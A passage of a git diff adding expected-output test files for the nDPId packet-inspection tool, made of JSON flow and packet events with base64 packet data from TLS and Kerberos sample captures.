9kb1rdtJu6KJWHsmxhkqn+5IJXszwezV7EVVZplgJPkRBwWsUatOWpjd9GuEZrUofu+2zRAWb37O45WXULSMfnimMKJd4Xwqcyx7tqMpzzTK7dWYdIkVZW9y5jVbcfrEnX0PFjjBobFRt6z81tve44yNzWQLg\/BhIGmKgyP4ZWrM3REf0v0GIj8wfwr+jHsMczvQifNTnUyyug\/Xc6cQyMh8qaav4EhHbL4l4yFg="} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724525,"pkt_ts_usec":422029,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABis2MAAEAR\/P6EvvQMl3m5LAhoCGgATgAAMv8APgE8W3R8UAAARQAAOmNRQABABin5wKiTsZd5waDkgAG7QsbeiFXaB5OAGAIjWbAAAAEBCAoAC7rRMW8EIBQDAwABAQ=="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":13,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":112,"len":116} +00518{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724525,"pkt_ts_usec":422029,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":78,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABis2MAAEAR\/P6EvvQMl3m5LAhoCGgATgAAMv8APgE8W3R8UAAARQAAOmNRQABABin5wKiTsZd5waDkgAG7QsbeiFXaB5OAGAIjWbAAAAEBCAoAC7rRMW8EIBQDAwABAQ=="} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724525,"pkt_ts_usec":500430,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuACJtcMAAEAR+neEvvQMl3m5LAhoCGgAdQAAMv8AZQE8W3R9UAAARQAAYWNSQABABinRwKiTsZd5waDkgAG7QsbejlXaB5OAGAIj3G8AAAEBCAoAC7rRMW8EIBYDAwAoAAAAAAAAAADM1WLZBbPlOmD9XANW49sO0tmduGTuSuv4J+SEqWJkSA=="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":14,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":151,"len":155} +00570{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724525,"pkt_ts_usec":500430,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":155,"pkt_l4_len":117,"pkt":"\/Ejvopo\/MNF+D2w+CABFuACJtcMAAEAR+neEvvQMl3m5LAhoCGgAdQAAMv8AZQE8W3R9UAAARQAAYWNSQABABinRwKiTsZd5waDkgAG7QsbejlXaB5OAGAIj3G8AAAEBCAoAC7rRMW8EIBYDAwAoAAAAAAAAAADM1WLZBbPlOmD9XANW49sO0tmduGTuSuv4J+SEqWJkSA=="} +00502{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724525,"pkt_ts_usec":606017,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"MNF+EIYg\/Ejv6KgaCABFAABYxM4AAD0R71WXebkshL70DAhoCGgARAAAMP8ANEGxP1xFAAA0\/\/hAADIGm1eXecGgwKiTsQG75IBV2geTQsbeiIAQAPNoYAAAAQEICjFvDrIAC7rR"} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724526,"pkt_ts_usec":101283,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuACJx48AAEAR6KuEvvQMl3m5LAhoCGgAdQAAMv8AZQE8W3SBUAAARQAAYWNTQABABinQwKiTsZd5waDkgAG7QsbejlXaB5OAGAIj26cAAAEBCAoAC7uZMW8EIBYDAwAoAAAAAAAAAADM1WLZBbPlOmD9XANW49sO0tmduGTuSuv4J+SEqWJkSA=="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":21,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":151,"len":155} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724526,"pkt_ts_usec":161588,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcySMAAEAR50SEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3SDUAAARQAANGNUQABABin8wKiTsZd5waDkgAG7Qsbeu1XaCFKAEAIjZNIAAAEBCAoAC7vdMW8PEg=="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":22,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":106,"len":110} +01951{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724526,"pkt_ts_usec":501623,"pkt_caplen":1202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1206,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuASk0zUAAEAR2OqEvvQMl3m5LAhoCGgEkAAAMv8EgAE8W3SEUAAARQAEfGNVQABABiWzwKiTsZd5waDkgAG7Qsbeu1XaCIaAGAIjjQIAAAEBCAoAC7viMW8PEhcDAwRDAAAAAAAAAAFJqZsr2XFOAWwXDu0+7Y9vPaXF6QBuCgzG25Q\/KbgqYu88jDq040h3tvc+aLu+DTcTspkgI5XvLXRFxqBxdvTufQDpaiPCYyECwSJhep14pGbJr74Zfc\/j6Av4+JPM7XoLFlKyk030dBFrQrGR3OC0pR3zpNnKaUQjB+tTd4nLUXzWv2mjrWj7pce\/bPzpfedXtz8tcxLvi8SEHscHZsArZDwdeUf5QLLvVFDZNU4ZEQaimEyX15KzM6G5ToQIrvIFXEhAF3dG5oXfA+Ae4WLPSnyb5NwMMF4kDDNIe1ZVjNBxSABFaYjPPiJg0gQg\/+QEqg1CX23cpDZyJxz7smWB9h7xs7H9AygfzY9wASIaEq6DqGATMfMsN3dYWATzH3hum27SvUyhZ75L0k5HqqsoGIfu+LYC1hNDONFV6+lkufq4BpitkoCYAzdbmomEw05OzNlTrWr0XPFYwgNz7thDeUGqO\/xKaUFeEC4Y7Xy1Gc41hkWo54xuUrmAxO9X1\/+gkn+c3MHGrRESux79pmus577Y7Fo4U\/4oJ6luI0bGV303za2qj4yCdXLeQWjtrOGdBBkw\/wBHF5IbYMOF9bJFx68HeOrrn4nYFgmVhrWXDxyY1xWgLDIjRY5UDtLoQjMcM03rPMf1Z8L76UZ2YHFgGbBPU1OGctMjFUx+R73JxaqxVRw4ymshyrqvP9+E3HE7UquBR2x9EQISSgDorx56T92cLWOMHjn+ek1JnoCiwSF6nQ5wDmyw72RptvWz6AU0FUnuqURBs\/Yt3PJfdurGsJxYBs+wDZGPNy41Qf5bJwUyIKMkYqmgYULqkbNWOZxFV99s4+BV262g1PDKETuLCv2a\/bmZ\/xolpL0HSIF0vX2xBElZHZ+hd84KVa1Y1XFdDw8mr7TyDNVUiL3tNunlmrQfdQETgjFhKIaQn6XGF8V1kH05Pfc52o2vbYUaSnIDJWt30SPlvtzw5ruQY4AYjS9\/zvW4ADabvEgwiTZjb2txs6oHyKnVCekE0WjVDCEceBK1aQn6rKOOPXvKdj3iDTl1Ep2O3m+u3pqEIGzMPxhnKMpUTUMR5vH5kQ6XVO3\/\/O3Fv4Gs+QXjMNEsaI4CKiHU5k1Q0MbXxbrvkqD7nzLmoRz\/kTcbg2\/gjB1KRUMXAi27pqag38iFL5LdNl02Bk8czI\/JMSOpzjzmaW1x5HQLihorbExEU6gi6LG\/RLyN0wdxLAEVfUuvGwMzSO969\/mxBBfNydqDsDV4YQiFLRSJTGt9vGEn+QmnSkfZdl3aM1n9v1oUbRwSanCl2G5YkrCo8NVoEuKsjRybURkxyp7cEy1T38EAeIr7HE3lwdlheQG63MqfDiIz7ld4f9Q0nYgQa1Und43tDU8iH72YEZe9PfwwG1sJOBUaECdibU9+goippYdBUnHF+Q41lhVnISz+74wOY0LMuM8="} +00216{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":24,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":1202,"len":1206} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724526,"pkt_ts_usec":501639,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABc0zYAAEAR3TGEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3SFUAAARQAANGNWQABABin6wKiTsZd5waDkgAG7QsbjA1XaCIaAEQIjYE4AAAEBCAoAC7vkMW8PEg=="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":25,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":106,"len":110} diff --git a/test/results/kerberos.pcap.out b/test/results/kerberos.pcap.out new file mode 100644 index 000000000..461338e68 --- /dev/null +++ b/test/results/kerberos.pcap.out @@ -0,0 +1,116 @@ +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1549337929790,"flow_last_seen":0,"flow_tot_l4_data_len":259,"flow_min_l4_data_len":259,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":259,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49157,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00732{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":790448,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"pB9ywglqAAgCHEeuCABFAAEXABdAAIAGkNisEAjJrBAICMAFAFiynbRHbznTnlAYAQAf5QAAAAAA62qB6DCB5aEDAgEFogMCAQqjFTATMBGhBAICAICiCQQHMAWgAwEB\/6SBwTCBvqAHAwUAQIEAEKEYMBagAwIBAaEPMA0bC2pvaG5zb24tcGMkohAbDmhhcHB5Y3JhZnQub3JnoyMwIaADAgECoRowGBsGa3JidGd0Gw5oYXBweWNyYWZ0Lm9yZ6URGA8yMDM3MDkxMzAyNDgwNVqmERgPMjAzNzA5MTMwMjQ4MDVapwYCBE7AFheoFTATAgESAgERAgEXAgEYAgL\/eQIBA6kdMBswGaADAgEUoRIEEEpPSE5TT04tUEMgICAgICA="} +00782{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":790962,"pkt_caplen":332,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":332,"pkt_l4_len":298,"pkt":"AAgCHEeupB9ywglqCABFAAE+ExRAAIAGfbSsEAgIrBAIyQBYwAVvOdOesp21NlAYAQCkkQAAAAABEn6CAQ4wggEKoAMCAQWhAwIBHqQRGA8yMDE5MDIwNTAzMzg0OFqlBQIDBjUgpgMCARmpEBsOaGFwcHljcmFmdC5vcmeqIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDmhhcHB5Y3JhZnQub3JnrIGnBIGkMIGhMH6hAwIBE6J3BHUwczA0oAMCARKhLRsrSEFQUFlDUkFGVC5PUkdob3N0am9obnNvbi1wYy5oYXBweWNyYWZ0Lm9yZzAFoAMCARcwNKADAgEDoS0bK0hBUFBZQ1JBRlQuT1JHaG9zdGpvaG5zb24tcGMuaGFwcHljcmFmdC5vcmcwCaEDAgECogIEADAJoQMCARCiAgQAMAmhAwIBD6ICBAA="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1549337929811,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49158,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00840{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":811952,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"pB9ywglqAAgCHEeuCABFAAFnABtAAIAGkISsEAjJrBAICMAGAFganBtaQ2U1slAYAQDaGgAAAAABO2qCATcwggEzoQMCAQWiAwIBCqNjMGEwTKEDAgECokUEQzBBoAMCARKiOgQ4YERcga5zFfjuo7+oqo0hJ6Udj7efOwOKKYJj6PKpxuETgzDcdt27IvGW9sEQ18QPUV\/drVuLVBwwEaEEAgIAgKIJBAcwBaADAQH\/pIHBMIG+oAcDBQBAgQAQoRgwFqADAgEBoQ8wDRsLam9obnNvbi1wYySiEBsOaGFwcHljcmFmdC5vcmejIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDmhhcHB5Y3JhZnQub3JnpREYDzIwMzcwOTEzMDI0ODA1WqYRGA8yMDM3MDkxMzAyNDgwNVqnBgIETsAWF6gVMBMCARICARECARcCARgCAv95AgEDqR0wGzAZoAMCARShEgQQSk9ITlNPTi1QQyAgICAgIA=="} +00568{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":812641,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"AAgCHEeupB9ywglqCABFAACYExlAAIAGflWsEAgIrBAIyQBYwAZDZTtmGpwcmVAYAQDnsgAAX5hri3Z\/opje40K53kwDKo2\/CTegm0pJkWpLVNFlnn\/MakUFXqKHv4CDtH2CbQqvJq\/ecJgxH2EwrzVmUcQk2zqXXjIwbkyszZ9\/Xc6IEgQ4qiI64lPzINS7ueVTbdUXk\/8v52QxoGdMilBjjWTAcQ=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1549337929815,"flow_last_seen":0,"flow_tot_l4_data_len":157,"flow_min_l4_data_len":157,"flow_max_l4_data_len":157,"flow_avg_l4_data_len":157,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49159,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":815091,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"pB9ywglqAAgCHEeuCABFAACxACFAAIAGkTSsEAjJrBAICMAHAFgBsoC8gS4auFAYAQDUqQAAiNeE+tCJIo9Cz1KFHGicigIlxkFIEVkb70vifDKvvi6NwB24GlkehWdocuUvESpeAqtSofWtuKDm2yskVOheE+r4DxaQxRLncJy9zYBP+p7ofQvBukmarkg+oY3ctA8jgj5BSy2yi42NlxJjhcjuX3ByLG+GD20zq41Le0TbPh0TFS5qkRb0Q24="} +00569{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":815994,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"AAgCHEeupB9ywglqCABFAACbEx9AAIAGfkysEAgIrBAIyQBYwAeBLiBsAbKBRVAYAQBP\/wAA1H56bb56rLTzhI\/so6pGl6jILu03bHY2ZWl4A41JY07Kavo1sQRKhlNPx3vE\/LdSF6BX6NLW1Fm3Tdmvr7ZEbPWOq8FZs9c0RBY7wJbwPUW44FlC0vhqJn1yGB3K1Fxl0gPqAAMzMrhupJQMQzjV4fgdag=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1549337929816,"flow_last_seen":0,"flow_tot_l4_data_len":1451,"flow_min_l4_data_len":1451,"flow_max_l4_data_len":1451,"flow_avg_l4_data_len":1451,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49160,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02345{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":816676,"pkt_caplen":1485,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1485,"pkt_l4_len":1451,"pkt":"pB9ywglqAAgCHEeuCABFAAW\/ACZAAIAGjCGsEAjJrBAICMAIAFgkzleN\/pyBM1AYAQCd1QAAAAAFk2yCBY8wggWLoQMCAQWiAwIBDKOCBRcwggUTMIIE\/6EDAgEBooIE9gSCBPJuggTuMIIE6qADAgEFoQMCAQ6iBwMFAAAAAACjggQ0YYIEMDCCBCygAwIBBaEQGw5IQVBQWUNSQUZULk9SR6IjMCGgAwIBAqEaMBgbBmtyYnRndBsOSEFQUFlDUkFGVC5PUkejggPsMIID6KADAgESoQMCAQKiggPaBIID1l4LwpNuTjPo\/WSca61wgawIInNQ2vTGqwCxtV1QigPfApKXxUIq16oPsvd5TUFFBoZ3psSaal0IeVBLFx\/BX1XOMXvlpVRB9MsTpZwTQ9ax1GLB6I2i5bbUZpknsnBAKrSXL695P06nXI2pxBPckcoFwJAlSBEmG2XByE8IS7rO1EarXMbJ6Y6aTY3qAJfaaRab4vHhRG2Vuf+5JWuR5w1NLPXeeoD\/rArSk0gCVLkR21SKfZcS\/vqPldqO0np7TLmMBVoYjsl6PiI0+4z2cMBft\/qbxRIxb8y1vWhjoJ64ue7lCoT2cvFOdVWD\/WH\/fANzw0ML9F0vLIXCgI1qi1sWcerxATeYpOyo7DWpsJioH9jxAPx+B6RM+9U5zQIKM9BdT3C3olrkQMfOua6FPtyqIt9kVcakdowBTS4+NidzK5sGlYIRntlAxGR8YU5brzwGdboEMfsAHK11qtTE6t\/tDmgr1+cFgW34p7q9yjtfw3IlMfNtNF6cVYmOh6G5Wnxcfjqbsrpj7Kw6mjBwfKtaYNJG6XthlVKo9I4FpdysFIteChs2N+mQtafp0AWZxKjjDKO8sohbJklYhyoJOto52hds26FAU4LmrIc5fMmADp1PG\/tBDi0BnZ3SimtoeWyM2fnwWhBrH67Gc6TeKPHSeyVFwR1fSnMxZTlzS7KXwLa62U6BZ0WNCBZzIdUTje6\/aUFTq4XeeR0Z7Vh6Z9DZ9om\/9wiQsBPMMalPRPnqfmOZT7HV5yr74UqmbVg1OWh8En3RVYoEzl+U9UxwXXFIR5zUwJrSv4BRCrfouK2f87lMtCFEg\/zEl+Ya6jB+A9XZfPbLOpJ+x1ZsBKiE7MFw9X4cPsiIvoIaHcwmirVOaa9JrhuL72qg0GrV2LWFm+xJt5NjWGhgRHFok1jp2URmHs7J3zvdeb+nbPHLvYUdtkqwb3aoYEr1Xmflw8UpDr6MDbT2en\/\/11z39903bvFGohUv62WN4swCRiY9JjXJUs610D4Xxus5+CL0zgzTQQAxEvC4LL9CQELhrXgdhbQmsotNytXnsgYuKhF4RMS5q5UH8sx1AGsmSntAJ\/W4iO+\/MbV3oU5HdPpcERFm3hfRy\/GBSS75vadxxOcRHZA6iF9\/pQ9BlFHhHcWkaQuZyUL6qH1sbSQyui0sXjtHojjpnPlsTpEM9hpMt6LhooASI6ATNe\/Xw7kB+HTJthDR\/bJnXbftcEdtnk7dLQYL5MfhSH8BDyuI9MMLmdpozP+V7mPT5HhUnsqRSQWCVyfiuDhL0shZpk83f0xNTTmK8fhSYF8Q1BGkgZwwgZmgAwIBEqKBkQSBjpT6WKZ4R5UUi5WTtSgEkEd7jMLa6AoUPu4TwrcLKGcmB9vngXIzOhZvqCgHdzOkHetRjgLUyTIXem1PFxz6mY8TxQcIZDyb19SN3Nd3sKaxs2IYEv7YHwXG6E8LM8hJLH2m\/TyiwnWxB70uZ574gAkF4FD1Zq+qMVWQ8VxsOQkGL92ElZ2TaAS4GGYCEnUwDqEEAgIApaIGBAQfAAAApGQwYqAHAwUAYIEAEKIQGw5IQVBQWUNSQUZULk9SR6MjMCGgAwIBAqEaMBgbBmtyYnRndBsOSEFQUFlDUkFGVC5PUkelERgPMjAzNzA5MTMwMjQ4MDVapwYCBE7NBe6oBTADAgES"} +02370{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337929,"pkt_ts_usec":816935,"pkt_caplen":1498,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1498,"pkt_l4_len":1464,"pkt":"AAgCHEeupB9ywglqCABFAAXMEyNAAIAGeResEAgIrBAIyQBYwAj+nIEzJM5dJFAYAQC28wAAAAAFoG2CBZwwggWYoAMCAQWhAwIBDaMQGw5IQVBQWUNSQUZULk9SR6QYMBagAwIBAaEPMA0bC0pPSE5TT04tUEMkpYIENGGCBDAwggQsoAMCAQWhEBsOSEFQUFlDUkFGVC5PUkeiIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkhBUFBZQ1JBRlQuT1JHo4ID7DCCA+igAwIBEqEDAgECooID2gSCA9ZmgNa1dr3wGd87q5o3XWLsTIWysbTgkwJr+Tn54CyV4AH6vlEgusASRdJcyvN0onPWOO9TStPkihUEobLQ8WG5\/BAe\/pJm76NJeRjK9kGGi8G\/0XbFCYSPepa5PQwmUgAjsgxX98uOoIoeMgpxrDD2I4YnqT0o9T7E4u8XbTiIf+v3cdcN4dCZ+EoTKAM9GSdtpSP62\/Xb+2PxUXMWzXRKdBV4GPRc7M\/f3KRdK529+2pM4yLgF6mfdzw1YttOYiTQBSOIseZU5L5pWWwIAYUeadQLWeGW7MCmuOiezPfzHOKXT\/hMqEB\/2Egds2KA7Hm\/oP01r9IU6p42tCtn+I4EWSm5ZkiMAIXP6SCiOdO2PbdtR\/4GK9kZARZpgtLJG+aGmFpRzNAdcgcLMHN2OlX0J6+piruBM7Ww3kqLpZgruCuGx8K+d\/8FApmAeWnLmXbD3fu1T00fGd6fdKrkgCl98Sy4I0iKgJr019SubVPh\/tLfXvOPHFTskrZiab\/lkJMa\/lcaCHUWtHfBuxSsNJt7gody42oqvvYHikEn7VlQJDi\/u8KzU07HljjjoqhCYV678B3YcCsVdGefRzEoUzSdH\/BYJGW+CkosfzR7MiRBWyvn77tCF67oxZ3T5EhVst6OUOt05ejCBeF0j2P8Sa6RL1vPg6TCt7KX5yXzGdJtuRQYFzwHms4Ux+JYQXrmLh2ixoc55gWooUap7xcPOrj9EtgR7efu2PqGQVuytvq6rdV+3QUFA8AufxbPXK507+RBmLMcLcxZAxOp7SQc\/Ay3c\/ORhr+fWLV6VFfX75zufwBySCOGvrbuFXK0SnMVFwylor3lGY2Czl7Y5QKDcK4+FS+SJKTqaxj0EFxa2D+DbGLwbVt3zt9+tPhI+pr7vL0LtIL0O055Y3MLTTiVoB4FnEuGzQivRnPbXzFFcdCIUDcAh26XtB4LCpmd+fBTcLafa5ZKQ2nsR\/2LH7kpZxim50Hcvtyd5PzGPwKSVk2Q+psnZ0IehfsbwhALTs\/RQSOb7Rq41AGgy7OAH5YvpBKSd7qUDfb1gtLh6EIYhMprEuGvAg42lOnEYktaA8Y0X4PyM72xSTA9ZN+CxfcvwiIlvHf11TL5C5ZRBUy3du\/RJjPcfxsjqIdqVfXMDys4DGOvXOODvANQyMdpD2WSRWTBduQ+1useq7xNugt3rmAScfUohAT\/giN4TexFk96WUfGs376rRqExitzbuece0s6lptdaN+3sKDC1NFILlW4MQPBHpc3ComgefM9jAmeqLxMUur1iJW82d2i1F5BNiRpTZEFf7MD9poIBJjCCASKgAwIBEqKCARkEggEVQDvO7+WVQbXswJT\/WKenjoLOTOUb7xtnQSDSvTALA7cFBjKmG7py2Ll3YHsUrZQaKL2ZgS2bNcKYx\/3+lfvv+kAlvcN39ExBH9j9AGm8H1cRnFwNhRWCETnioXg\/P1Y2p+e3F0h6bOneEdLiePwHJv9FonrRV61HKyJDpzH6E0h5BR7t2eo\/60DJORIRuiguwoofBgNuIj9IIWatzAufVetcbqrWIpOgXa8Tl5itQ\/bI2zF6hwUS3TRThkmm+Lz7J7LBceoySEetzaEsRZtQYN6tENYmlD5+VEJvmJ\/Gk593lHeRAE07ZMXwY1fmEib\/vL\/sBgCUMH7CIYMAL4GjstMrJCbIeZhyoYmoahgOuedSq46aMw=="} +00603{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_first_seen":1549337929816,"flow_last_seen":1549337929816,"flow_tot_l4_data_len":2915,"flow_min_l4_data_len":1451,"flow_max_l4_data_len":1464,"flow_avg_l4_data_len":1457,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49160,"dst_port":88,"l4_proto":"tcp","ndpi": {"proto":"Kerberos","breed":"Acceptable","category":"Network"},"kerberos": {"hostname":"johnson-pc","domain":"happycraft.org","username":""}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1549337929817,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49156,"dst_port":445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 